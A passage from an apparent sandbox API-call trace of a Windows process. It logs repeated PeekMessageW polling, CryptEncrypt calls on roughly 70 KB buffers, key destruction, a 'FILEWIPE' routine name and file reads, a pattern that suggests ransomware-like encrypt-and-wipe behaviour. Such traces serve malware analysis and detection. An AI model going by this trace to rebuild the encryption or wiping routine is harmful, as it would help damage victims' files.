hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.425] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.425] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.425] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.426] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.426] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x114db, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x114e0) returned 1 [0024.426] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.426] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.426] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.426] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.426] CharLowerBuffW (in: lpsz="byte[70881]", cchLength=0xb | out: lpsz="byte[70881]") returned 0xb [0024.426] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.428] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.428] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.428] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.429] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.429] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41f48a0*, pdwDataLen=0xe8f3dfdf68*=0x114db, dwBufLen=0x114e0 | out: pbData=0xe8f41f48a0*, pdwDataLen=0xe8f3dfdf68*=0x114e0) returned 1 [0024.429] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.429] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.429] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.430] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.430] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.430] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.430] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.430] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.430] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.430] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.430] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.430] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.430] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.430] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.430] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.430] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.430] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.434] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.434] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.434] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.436] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.436] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.436] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.436] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.436] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.436] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.436] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.436] CryptDestroyKey (hKey=0xe8f4062b10) returned 1 [0024.436] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.436] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.436] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.436] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.436] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.436] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.436] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.436] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.436] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.436] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.436] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.436] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.436] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.436] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.436] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.436] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.436] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.436] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.437] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.437] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.437] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.437] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.437] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.437] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.437] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.437] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.437] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.437] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.437] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.437] CryptReleaseContext (hProv=0xe8f4199a20, dwFlags=0x0) returned 1 [0024.437] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.437] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.437] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.437] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.437] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.437] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.438] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.439] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.440] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.440] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.440] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.440] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.440] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.440] CharLowerBuffW (in: lpsz="byte[70875]", cchLength=0xb | out: lpsz="byte[70875]") returned 0xb [0024.442] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.442] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.442] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.442] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.442] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.442] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.442] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.442] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.442] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.442] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.442] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.442] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.442] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.442] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.442] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.442] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.442] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.443] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.443] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.443] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.443] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.443] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.443] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.443] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.443] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.443] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.443] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.443] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.443] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.443] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.443] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.444] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.445] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.445] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.445] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.445] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.445] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.445] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.445] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.445] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.445] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.445] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=3506) returned 1 [0024.445] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.445] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.445] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.445] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xdb2, lpOverlapped=0x0) returned 1 [0024.445] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.445] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xdb2, lpNewFilePointer=0x0, 